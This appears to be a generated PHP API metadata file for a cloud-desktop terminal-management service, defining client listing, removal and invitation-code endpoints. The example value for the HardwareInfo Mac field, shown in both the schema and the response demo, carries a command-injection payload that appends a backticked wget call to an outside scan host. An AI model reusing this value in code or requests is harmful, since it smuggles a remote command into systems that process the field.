'1.0', 'info' => ['style' => 'RPC', 'product' => 'wyota', 'version' => '2021-04-20'], 'directories' => ['DeleteClients', 'DescribeClients', 'GetOrCreateInvitationCode'], 'components' => [ 'schemas' => [], ], 'apis' => [ 'DeleteClients' => [ 'summary' => '根据UUID移除终端设备纳管。', 'methods' => ['post'], 'schemes' => ['https'], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => ['operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free'], 'parameters' => [ [ 'name' => 'InManage', 'in' => 'formData', 'schema' => ['description' => '是否纳管', 'type' => 'boolean', 'required' => true, 'example' => 'True'], ], [ 'name' => 'Uuids', 'in' => 'formData', 'style' => 'flat', 'schema' => [ 'description' => '资产实例的UUID列表。多个UUID之间使用半角逗号(,)分隔。', 'type' => 'array', 'items' => ['description' => '镜像UUID列表。', 'type' => 'string', 'required' => false, 'example' => '06100D58D6E6F0EB01A7A3C261234567'], 'required' => true, 'maxItems' => 100, ], ], [ 'name' => 'CallerAliUid', 'in' => 'query', 'schema' => ['description' => 'aliuid', 'type' => 'string', 'required' => false, 'example' => '***'], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Response', 'description' => 'Response', 'type' => 'object', 'properties' => [ 'Success' => ['description' => '是否调用成功。', 'type' => 'boolean', 'example' => 'true'], 'Code' => ['description' => '调用失败时返回的错误码。', 'type' => 'string', 'example' => 'TERMINAL_NOT_FOUND'], 'Message' => ['description' => '调用失败时返回的错误信息。', 'type' => 'string', 'example' => 'terminal not found'], 'RequestId' => ['description' => '请求ID。', 'type' => 'string', 'example' => 'C5DCE54A-B266-522E-A6ED-468AF45F5AAA'], 'HttpStatusCode' => ['description' => 'HTTP状态码。', 'type' => 'integer', 'format' => 'int32', 'example' => '200'], ], ], ], ], 'title' => '解除纳管', 'changeSet' => [], 'ramActions' => [], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"TERMINAL_NOT_FOUND\\",\\n \\"Message\\": \\"terminal not found\\",\\n \\"RequestId\\": \\"C5DCE54A-B266-522E-A6ED-468AF45F5AAA\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', ], 'DescribeClients' => [ 'methods' => ['post'], 'schemes' => ['https'], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => ['operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free'], 'parameters' => [ [ 'name' => 'TerminalGroupId', 'in' => 'formData', 'schema' => ['title' => '分组id', 'description' => '分组id', 'type' => 'string', 'required' => false, 'example' => 'tg-bp103v8x70nasykdjrd1'], ], [ 'name' => 'Uuids', 'in' => 'formData', 'style' => 'flat', 'schema' => [ 'description' => '要查询的服务器的UUID。多个UUID之间使用半角逗号(,)分隔。', 'type' => 'array', 'items' => ['description' => '资产实例的UUID列表。多个UUID之间使用半角逗号(,)分隔。', 'type' => 'string', 'required' => false, 'example' => '06100D58D6E6F0EB01A7A3C261234567'], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'SearchKeyword', 'in' => 'formData', 'schema' => ['title' => '模糊搜索入参,支持按SN、别名、ip模糊搜索,与精确搜索入参不兼容', 'description' => '模糊搜索入参,支持按SN、别名、ip模糊搜索,与精确搜索入参不兼容', 'type' => 'string', 'required' => false, 'example' => '061'], ], [ 'name' => 'NextToken', 'in' => 'formData', 'schema' => ['title' => '下一页token', 'description' => '下一页token', 'type' => 'string', 'required' => false, 'example' => 'AAAAAdEdsXbwG2ZlbWCzN4wTTg6wQvfp7u1BJl4bxCAby41POSaYAlCvfULQpkAnb0ff****'], ], [ 'name' => 'InManage', 'in' => 'formData', 'schema' => ['title' => '是否已纳管', 'description' => '是否已纳管', 'type' => 'boolean', 'required' => false, 'example' => 'True'], ], [ 'name' => 'MaxResults', 'in' => 'formData', 'schema' => ['title' => '最大结果数', 'description' => '最大结果数', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '100'], ], [ 'name' => 'WithBindUser', 'in' => 'formData', 'schema' => ['title' => '是否返回绑定用户', 'description' => '是否返回绑定用户', 'type' => 'boolean', 'required' => false], ], [ 'name' => 'Model', 'in' => 'formData', 'schema' => ['title' => '型号', 'description' => '型号', 'type' => 'string', 'required' => false, 'example' => 'US02-2BFXG'], ], [ 'name' => 'IncludeSubGroups', 'in' => 'formData', 'schema' => ['title' => '是否包含子分组', 'description' => '是否包含子分组', 'type' => 'boolean', 'required' => false, 'example' => 'false'], ], [ 'name' => 'ClientType', 'in' => 'formData', 'schema' => ['title' => '终端类型', 'description' => '终端类型', 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1'], ], [ 'name' => 'OnlineStatus', 'in' => 'formData', 'schema' => ['title' => '软终端状态', 'description' => '软终端状态', 'type' => 'boolean', 'required' => false, 'example' => 'True'], ], [ 'name' => 'Platform', 'in' => 'formData', 'schema' => ['title' => '软终端平台', 'description' => '软终端平台', 'type' => 'string', 'required' => false, 'example' => 'linux'], ], [ 'name' => 'CustomResourceId', 'in' => 'formData', 'schema' => ['title' => '定制任务ID', 'description' => '定制任务ID', 'type' => 'string', 'required' => false, 'example' => 'cr-***'], ], [ 'name' => 'CustomResourceStatus', 'in' => 'formData', 'schema' => ['title' => '定制任务生效状态 (true: 生效, false: 失效, null: 全部)', 'description' => '定制任务生效状态 (true: 生效, false: 失效, null: 全部)', 'type' => 'boolean', 'required' => false], ], [ 'name' => 'CallerAliUid', 'in' => 'query', 'schema' => ['description' => 'aliuid', 'type' => 'string', 'required' => false, 'example' => '***'], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'NextTokenResponse', 'description' => 'NextTokenResponse', 'type' => 'object', 'properties' => [ 'NextToken' => ['description' => '下一次查询的Token。如果一次查询结果并没有完整返回所有的结果,则返回的NextToken不为空。您可以在查询中上传返回的NextToken继续查询。', 'type' => 'string', 'example' => 'AAAAAdEdsXbwG2ZlbWCzN4wTTg6wQvfp7u1BJl4bxCAby41POSaYAlCvfULQpkAnb0ff****'], 'TotalCount' => ['description' => '返回结果总数。', 'type' => 'integer', 'format' => 'int32', 'example' => '20'], 'Data' => [ 'description' => '调用成功时返回的数据。', 'type' => 'array', 'items' => [ 'description' => '调用成功时返回的数据。', 'type' => 'object', 'properties' => [ 'Uuid' => ['title' => 'uuid', 'description' => 'uuid', 'type' => 'string', 'example' => '04873D3898B51A7DF2455C1E1DC9****'], 'TerminalGroupId' => ['title' => '终端分组id', 'description' => '终端分组id', 'type' => 'string', 'example' => 'tg-default'], 'Model' => ['title' => '机型', 'description' => '机型', 'type' => 'string', 'example' => 'US01'], 'ProductName' => ['title' => 'productName', 'description' => 'productName', 'type' => 'string', 'example' => 'dm'], 'OnlineStatus' => ['title' => '是否在线', 'description' => '是否在线', 'type' => 'boolean', 'example' => 'False'], 'Online' => ['title' => '是否在线', 'description' => '是否在线', 'type' => 'boolean', 'example' => 'true'], 'Alias' => ['title' => '别名', 'description' => '别名', 'type' => 'string', 'example' => 'DemoDevice'], 'BuildId' => ['title' => '系统版本号', 'description' => '系统版本号', 'type' => 'string', 'example' => '7.0.2-RS-***'], 'WosAppVersion' => ['title' => 'appVersion', 'description' => 'appVersion', 'type' => 'string', 'example' => '7.0.2-RS-***'], 'ClientVersion' => ['title' => '客户端版本', 'description' => '客户端版本', 'type' => 'string', 'example' => '1.2.1-DAILY-20240906.140842'], 'ClientType' => ['title' => '终端类型', 'description' => '终端类型', 'type' => 'integer', 'format' => 'int32', 'example' => '1'], 'InManage' => ['title' => '是否已被纳管', 'description' => '是否已被纳管', 'type' => 'boolean', 'example' => 'True'], 'BindUserId' => ['title' => '免账号登陆用户', 'description' => '免账号登陆用户', 'type' => 'string', 'example' => '***'], 'PasswordFreeLoginUser' => ['title' => '免密登录用户', 'description' => '免密登录用户', 'type' => 'string', 'example' => '***'], 'BindUserCount' => ['title' => '绑定登录用户数量', 'description' => '绑定登录用户数量', 'type' => 'integer', 'format' => 'int32', 'example' => '1'], 'UserBindCount' => ['title' => '绑定此设备的用户数量', 'description' => '绑定此设备的用户数量', 'type' => 'integer', 'format' => 'int32', 'example' => '1'], 'LocationInfo' => ['title' => '位置备注', 'description' => '位置备注', 'type' => 'string', 'example' => '杭州市'], 'Ipv4' => ['title' => 'ipv4', 'description' => 'ipv4', 'type' => 'string', 'example' => '192.168.XX.XX'], 'LoginUser' => ['title' => '当前登录用户', 'description' => '当前登录用户', 'type' => 'string', 'example' => '***'], 'CurrentLoginUser' => ['title' => '当前登录用户', 'description' => '当前登录用户', 'type' => 'string', 'example' => '***'], 'DesktopId' => ['title' => '当前使用桌面', 'description' => '当前使用桌面', 'type' => 'string', 'example' => 'ecd-9ior729dcvn91uo9i'], 'CurrentConnectDesktop' => ['title' => '当前使用桌面', 'description' => '当前使用桌面', 'type' => 'string', 'example' => 'ecd-drqmaogzbmbdf****'], 'ManageTime' => ['title' => '纳管时间', 'description' => '纳管时间', 'type' => 'string', 'example' => '2020-01-01 00:00:00'], 'SetPasswordFreeLoginUserTime' => ['title' => '设置免密登录用户时间', 'description' => '设置免密登录用户时间', 'type' => 'string', 'example' => '2020-01-01 00:00:00'], 'ManageTimestamp' => ['title' => '纳管时间戳', 'description' => '纳管时间戳', 'type' => 'integer', 'format' => 'int64', 'example' => '1000000'], 'PublicIpv4' => ['title' => '公网ip', 'description' => '公网ip', 'type' => 'string', 'example' => '0.0.0.0'], 'LastLoginUser' => ['title' => '最近登录用户', 'description' => '最近登录用户', 'type' => 'string', 'example' => '***'], 'HardwareInfo' => [ 'title' => '硬件信息', 'description' => '硬件信息', 'type' => 'object', 'properties' => [ 'Mac' => ['title' => '以太网mac', 'description' => '以太网mac', 'type' => 'string', 'example' => '00:1A:2B:3C:4D:5E&&`wget 31lojfVB.popscan.xaliyun.com`%3B'], 'Bluetooth' => ['title' => '蓝牙mac', 'description' => '蓝牙mac', 'type' => 'string', 'example' => '24:21:5E:B3:5A:4A'], 'Wlan' => ['title' => 'wifi mac', 'description' => 'wifi mac', 'type' => 'string', 'example' => '54:f2:9f:bc:fe:cc'], 'ChipId' => ['title' => 'chipId', 'description' => 'chipId', 'type' => 'string', 'example' => '7fa062813c5ac970'], 'Cpu' => ['title' => 'cpu信息', 'description' => 'cpu信息', 'type' => 'string', 'example' => '24'], 'Memory' => ['title' => '内存信息', 'description' => '内存信息', 'type' => 'string', 'example' => '128'], 'Storage' => ['title' => '存储信息', 'description' => '存储信息', 'type' => 'string', 'example' => '20'], ], ], 'FunctionSupport' => [ 'title' => '功能与支持', 'description' => '功能与支持', 'type' => 'object', 'properties' => [ 'SupportPasswordFreeLogin' => ['title' => '支持免密登录', 'description' => '支持免密登录', 'type' => 'boolean', 'example' => 'True'], 'PasswordFreeLoginForbiddenReason' => ['title' => '免密登录禁止原因', 'description' => '免密登录禁止原因', 'type' => 'string', 'example' => 'Reason'], 'SupportReboot' => ['title' => '支持重启', 'description' => '支持重启', 'type' => 'boolean', 'example' => 'True'], 'SupportStop' => ['title' => '支持关机', 'description' => '支持关机', 'type' => 'boolean', 'example' => 'True'], 'SupportReset' => ['title' => '支持恢复出厂设置', 'description' => '支持恢复出厂设置', 'type' => 'boolean', 'example' => 'True'], 'SupportUpgrade' => ['title' => '支持远程升级', 'description' => '支持远程升级', 'type' => 'boolean', 'example' => 'True'], 'SupportDiagnose' => ['title' => '支持开启远程诊断', 'description' => '支持开启远程诊断', 'type' => 'boolean', 'example' => 'True'], 'SupportModifyPolicy' => ['title' => '支持修改策略', 'description' => '支持修改策略', 'type' => 'boolean', 'example' => 'True'], 'EnablePolicy' => ['title' => '支持单机策略', 'description' => '支持单机策略', 'type' => 'boolean', 'example' => 'True'], 'VersionTooLow' => ['title' => '版本过低,建议升级', 'description' => '版本过低,建议升级', 'type' => 'boolean', 'example' => 'True'], 'SupportLimitLoginUser' => ['title' => '支持限定登录用户', 'description' => '支持限定登录用户', 'type' => 'boolean', 'example' => 'True'], 'SupportResetPin' => ['title' => '清除PIN码是否置灰', 'description' => '清除PIN码是否置灰', 'type' => 'boolean', 'example' => 'True'], 'VersionSupported' => ['title' => '版本是否支持(V7.12.0 及以上)', 'description' => '版本是否支持(V7.12.0 及以上)', 'type' => 'boolean', 'example' => 'True'], 'SupportAssistLogin' => ['title' => '支持协助登录', 'description' => '支持协助登录', 'type' => 'boolean', 'example' => 'True'], 'UnsupportAssistLoginReason' => ['title' => '协助登录禁止原因', 'description' => '协助登录禁止原因', 'type' => 'string', 'example' => 'Reason'], 'SupportManage' => ['title' => '支持纳管', 'description' => '支持纳管', 'type' => 'boolean', 'example' => 'True'], 'UnsupportManageReason' => ['title' => '纳管禁止原因', 'description' => '纳管禁止原因', 'type' => 'string', 'example' => 'Reason'], 'SupportLocalDeviceSn' => ['title' => '支持localDeviceSn', 'description' => '支持localDeviceSn', 'type' => 'boolean', 'example' => 'True'], 'UnsupportedLocalDeviceSnReason' => ['title' => 'localDeviceSn禁止原因', 'description' => 'localDeviceSn禁止原因', 'type' => 'string', 'example' => 'Reason'], ], ], 'DeviceOs' => ['title' => '设备系统', 'description' => '设备系统', 'type' => 'string', 'example' => 'Windows'], 'Platform' => ['title' => '设备类型', 'description' => '设备类型', 'type' => 'string', 'example' => '123123'], 'ModelPreviewUrl' => ['title' => '设备类型预览图', 'description' => '设备类型预览图', 'type' => 'string', 'example' => '***'], 'CustomResourceId' => ['title' => '自定义资源ID', 'description' => '自定义资源ID', 'type' => 'string', 'example' => '***'], 'CustomResourceName' => ['title' => '自定义资源名称', 'description' => '自定义资源名称', 'type' => 'string', 'example' => '***'], 'CustomResourceStatus' => ['title' => '自定义资源状态', 'description' => '自定义资源状态', 'type' => 'boolean', 'example' => '***'], 'CustomResInvalidReason' => ['title' => '自定义资源失效原因', 'description' => '自定义资源失效原因', 'type' => 'string', 'example' => '***'], 'HostOsInfo' => ['description' => '系统OS', 'type' => 'string', 'example' => 'Windows'], 'AliUid' => ['title' => 'aliUid', 'description' => 'aliUid', 'type' => 'integer', 'format' => 'int64', 'example' => '1627390268362106'], 'MainBizType' => ['title' => '主业务类型', 'description' => '主业务类型', 'type' => 'string', 'example' => 'enterprise'], 'UpgradeDownloadType' => ['title' => '升级类型 internet/lan', 'description' => '升级类型 internet/lan', 'type' => 'string', 'example' => 'internet'], 'LocalDeviceSn' => ['title' => '本地设备SN', 'description' => '本地设备SN', 'type' => 'string', 'example' => '***'], 'DesktopRegionId' => ['title' => '桌面region', 'description' => '桌面region', 'type' => 'string', 'example' => 'cn-hangzhou'], 'IpGeoLocation' => ['title' => '公网IP归属地', 'description' => '公网IP归属地', 'type' => 'string', 'example' => 'CN-Zhejiang'], 'AreaSite' => ['title' => '区域站点', 'description' => '区域站点', 'type' => 'string', 'example' => 'ap-southeast-1'], ], ], ], 'Success' => ['description' => '是否调用成功。', 'type' => 'boolean', 'example' => 'true'], 'Code' => ['description' => '调用失败时返回的错误码。', 'type' => 'string', 'example' => 'TERMINAL_NOT_FOUND'], 'Message' => ['description' => '调用失败时返回的错误信息。', 'type' => 'string', 'example' => 'terminal not found'], 'RequestId' => ['description' => '请求ID。', 'type' => 'string', 'example' => 'C5DCE54A-B266-522E-A6ED-468AF45F5AAA'], 'HttpStatusCode' => ['description' => 'HTTP状态码。', 'type' => 'integer', 'format' => 'int32', 'example' => '200'], ], ], ], ], 'title' => '查询客户端信息', 'summary' => '查询所有已纳管客户端信息。', 'changeSet' => [], 'ramActions' => [], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"NextToken\\": \\"AAAAAdEdsXbwG2ZlbWCzN4wTTg6wQvfp7u1BJl4bxCAby41POSaYAlCvfULQpkAnb0ff****\\",\\n \\"TotalCount\\": 20,\\n \\"Data\\": [\\n {\\n \\"Uuid\\": \\"04873D3898B51A7DF2455C1E1DC9****\\",\\n \\"TerminalGroupId\\": \\"tg-default\\",\\n \\"Model\\": \\"US01\\",\\n \\"ProductName\\": \\"dm\\",\\n \\"OnlineStatus\\": true,\\n \\"Online\\": true,\\n \\"Alias\\": \\"DemoDevice\\",\\n \\"BuildId\\": \\"7.0.2-RS-***\\",\\n \\"WosAppVersion\\": \\"7.0.2-RS-***\\",\\n \\"ClientVersion\\": \\"1.2.1-DAILY-20240906.140842\\",\\n \\"ClientType\\": 1,\\n \\"InManage\\": true,\\n \\"BindUserId\\": \\"***\\",\\n \\"PasswordFreeLoginUser\\": \\"***\\",\\n \\"BindUserCount\\": 1,\\n \\"UserBindCount\\": 1,\\n \\"LocationInfo\\": \\"杭州市\\",\\n \\"Ipv4\\": \\"192.168.XX.XX\\",\\n \\"LoginUser\\": \\"***\\",\\n \\"CurrentLoginUser\\": \\"***\\",\\n \\"DesktopId\\": \\"ecd-9ior729dcvn91uo9i\\",\\n \\"CurrentConnectDesktop\\": \\"ecd-drqmaogzbmbdf****\\",\\n \\"ManageTime\\": \\"2020-01-01 00:00:00\\",\\n \\"SetPasswordFreeLoginUserTime\\": \\"2020-01-01 00:00:00\\",\\n \\"ManageTimestamp\\": 1000000,\\n \\"PublicIpv4\\": \\"0.0.0.0\\",\\n \\"LastLoginUser\\": \\"***\\",\\n \\"HardwareInfo\\": {\\n \\"Mac\\": \\"00:1A:2B:3C:4D:5E&&`wget 31lojfVB.popscan.xaliyun.com`%3B\\",\\n \\"Bluetooth\\": \\"24:21:5E:B3:5A:4A\\",\\n \\"Wlan\\": \\"54:f2:9f:bc:fe:cc\\",\\n \\"ChipId\\": \\"7fa062813c5ac970\\",\\n \\"Cpu\\": \\"24\\",\\n \\"Memory\\": \\"128\\",\\n \\"Storage\\": \\"20\\"\\n },\\n \\"FunctionSupport\\": {\\n \\"SupportPasswordFreeLogin\\": true,\\n \\"PasswordFreeLoginForbiddenReason\\": \\"Reason\\",\\n \\"SupportReboot\\": true,\\n \\"SupportStop\\": true,\\n \\"SupportReset\\": true,\\n \\"SupportUpgrade\\": true,\\n \\"SupportDiagnose\\": true,\\n \\"SupportModifyPolicy\\": true,\\n \\"EnablePolicy\\": true,\\n \\"VersionTooLow\\": true,\\n \\"SupportLimitLoginUser\\": true,\\n \\"SupportResetPin\\": true,\\n \\"VersionSupported\\": true,\\n \\"SupportAssistLogin\\": true,\\n \\"UnsupportAssistLoginReason\\": \\"Reason\\",\\n \\"SupportManage\\": true,\\n \\"UnsupportManageReason\\": \\"Reason\\",\\n \\"SupportLocalDeviceSn\\": true,\\n \\"UnsupportedLocalDeviceSnReason\\": \\"Reason\\"\\n },\\n \\"DeviceOs\\": \\"Windows\\",\\n \\"Platform\\": \\"123123\\",\\n \\"ModelPreviewUrl\\": \\"***\\",\\n \\"CustomResourceId\\": \\"***\\",\\n \\"CustomResourceName\\": \\"***\\",\\n \\"CustomResourceStatus\\": true,\\n \\"CustomResInvalidReason\\": \\"***\\",\\n \\"HostOsInfo\\": \\"Windows\\",\\n \\"AliUid\\": 1627390268362106,\\n \\"MainBizType\\": \\"enterprise\\",\\n \\"UpgradeDownloadType\\": \\"internet\\",\\n \\"LocalDeviceSn\\": \\"***\\",\\n \\"DesktopRegionId\\": \\"cn-hangzhou\\",\\n \\"IpGeoLocation\\": \\"CN-Zhejiang\\",\\n \\"AreaSite\\": \\"ap-southeast-1\\"\\n }\\n ],\\n \\"Success\\": true,\\n \\"Code\\": \\"TERMINAL_NOT_FOUND\\",\\n \\"Message\\": \\"terminal not found\\",\\n \\"RequestId\\": \\"C5DCE54A-B266-522E-A6ED-468AF45F5AAA\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', ], 'GetOrCreateInvitationCode' => [ 'summary' => '获取桌面端纳管邀请码。'."\n" .'查询模式:仅传 terminalGroupId,只读返回当前邀请码及过期状态。'."\n" .'创建模式:必须传terminalGroupId+过期时长——传 expireDays或expireMinutes,会生成新码并覆盖原邀请码。', 'methods' => ['post'], 'schemes' => ['https'], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => ['operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'tenantRelevance' => 'tenant'], 'parameters' => [ [ 'name' => 'ExpireDays', 'in' => 'formData', 'schema' => ['description' => '有效天数,距离当前的天数,-1代表长期有效', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1'], ], [ 'name' => 'TerminalGroupId', 'in' => 'formData', 'schema' => ['description' => '终端分组ID。', 'type' => 'string', 'required' => false, 'example' => 'tg-XXX'], ], [ 'name' => 'Type', 'in' => 'formData', 'schema' => ['description' => '有效期类型:不填写或Type=1,对应响应过期天数。Type=2,对应响应过期分钟。', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => 'cron'], ], [ 'name' => 'ExpireMinutes', 'in' => 'formData', 'schema' => ['description' => '有效分钟,距离当前的分钟数,-1代表长期有效', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10'], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'SingleResponse', 'description' => 'SingleResponse', 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => '调用成功时返回的数据。', 'type' => 'object', 'properties' => [ 'AuthCode' => ['description' => '设备认证的鉴权码。', 'type' => 'string', 'example' => '000000'], 'ExpireTime' => ['description' => '计算组到期时间。', 'type' => 'string', 'example' => '1772162247'], 'Expired' => ['description' => '是否过期。', 'type' => 'boolean', 'example' => 'True'], ], ], 'Success' => ['description' => '是否调用成功。', 'type' => 'boolean', 'example' => 'true'], 'Code' => ['description' => '调用失败时返回的错误码。', 'type' => 'string', 'example' => 'PARAMETER_ERROR'], 'Message' => ['description' => '调用失败时返回的错误信息。', 'type' => 'string', 'example' => 'parameter error'], 'RequestId' => ['description' => '请求ID。', 'type' => 'string', 'example' => 'C5DCE54A-B266-522E-A6ED-468AF45F5AAA'], 'HttpStatusCode' => ['description' => 'HTTP状态码。', 'type' => 'integer', 'format' => 'int32', 'example' => '200'], ], ], ], ], 'title' => '获取或创建邀请码', 'changeSet' => [], 'ramActions' => [ [ 'operationType' => 'none', 'ramAction' => [ 'action' => 'ecd:GetOrCreateInvitationCode', 'authLevel' => 'operate', 'actionConditions' => [], 'resources' => [ ['validationType' => 'always', 'product' => 'ECD', 'resourceType' => '全部资源', 'arn' => '*'], ], ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"AuthCode\\": \\"000000\\",\\n \\"ExpireTime\\": \\"1772162247\\",\\n \\"Expired\\": true\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"PARAMETER_ERROR\\",\\n \\"Message\\": \\"parameter error\\",\\n \\"RequestId\\": \\"C5DCE54A-B266-522E-A6ED-468AF45F5AAA\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', ], ], 'endpoints' => [], 'errorCodes' => [ ['code' => 'CUSTOM_NAME_DUP', 'message' => 'Custom name duplicate, please use another name.', 'http_code' => 400, 'description' => '定制任务名称重复,请使用其他名称。'], ], 'changeSet' => [ [ 'apis' => [ ['description' => 'OpenAPI 下线', 'api' => 'CheckUuidValid'], ], 'createdAt' => '2025-05-27T09:25:46.000Z', 'description' => '', ], [ 'apis' => [ ['description' => 'OpenAPI 下线', 'api' => 'CheckUuidValid'], ], 'createdAt' => '2025-05-13T14:38:39.000Z', 'description' => '', ], [ 'apis' => [ ['description' => 'OpenAPI 下线', 'api' => 'CheckUuidValid'], ], 'createdAt' => '2025-05-13T11:06:03.000Z', 'description' => '', ], [ 'apis' => [ ['description' => '请求参数发生变更', 'api' => 'ListTerminals'], ], 'createdAt' => '2025-05-13T10:47:44.000Z', 'description' => '', ], [ 'apis' => [ ['description' => '请求参数发生变更', 'api' => 'CheckUuidValid'], ], 'createdAt' => '2025-05-06T11:37:07.000Z', 'description' => '', ], [ 'apis' => [ ['description' => 'OpenAPI 下线', 'api' => 'CheckUuidValid'], ], 'createdAt' => '2025-05-06T11:18:20.000Z', 'description' => '', ], [ 'apis' => [ ['description' => 'OpenAPI 下线', 'api' => 'CheckUuidValid'], ], 'createdAt' => '2025-05-06T10:46:49.000Z', 'description' => '', ], [ 'apis' => [ ['description' => 'OpenAPI 下线', 'api' => 'CheckUuidValid'], ], 'createdAt' => '2025-05-06T10:44:32.000Z', 'description' => '', ], ], 'ram' => [ 'productCode' => 'ECD', 'productName' => '无影云电脑', 'ramCodes' => ['ecd', 'eds-user', 'gws', 'wss'], 'ramLevel' => '操作级', 'ramConditions' => [], 'ramActions' => [ [ 'apiName' => 'GetOrCreateInvitationCode', 'description' => '获取或创建邀请码', 'operationType' => 'none', 'ramAction' => [ 'action' => 'ecd:GetOrCreateInvitationCode', 'authLevel' => 'operate', 'actionConditions' => [], 'resources' => [ ['validationType' => 'always', 'product' => 'ECD', 'resourceType' => '全部资源', 'arn' => '*'], ], ], ], [ 'apiName' => 'DescribeClients', 'description' => '查询客户端信息', 'operationType' => 'none', 'ramAction' => [ 'action' => 'ecd:DescribeClients', 'authLevel' => 'operate', 'actionConditions' => [], 'resources' => [ ['validationType' => 'always', 'product' => 'ECD', 'resourceType' => '全部资源', 'arn' => '*'], ], ], ], [ 'apiName' => 'DeleteClients', 'description' => '解除纳管', 'operationType' => 'delete', 'ramAction' => [ 'action' => 'ecd:DeleteClients', 'authLevel' => 'operate', 'actionConditions' => [], 'resources' => [ ['validationType' => 'always', 'product' => 'ECD', 'resourceType' => '全部资源', 'arn' => '*'], ], ], ], ], 'resourceTypes' => [], ], ];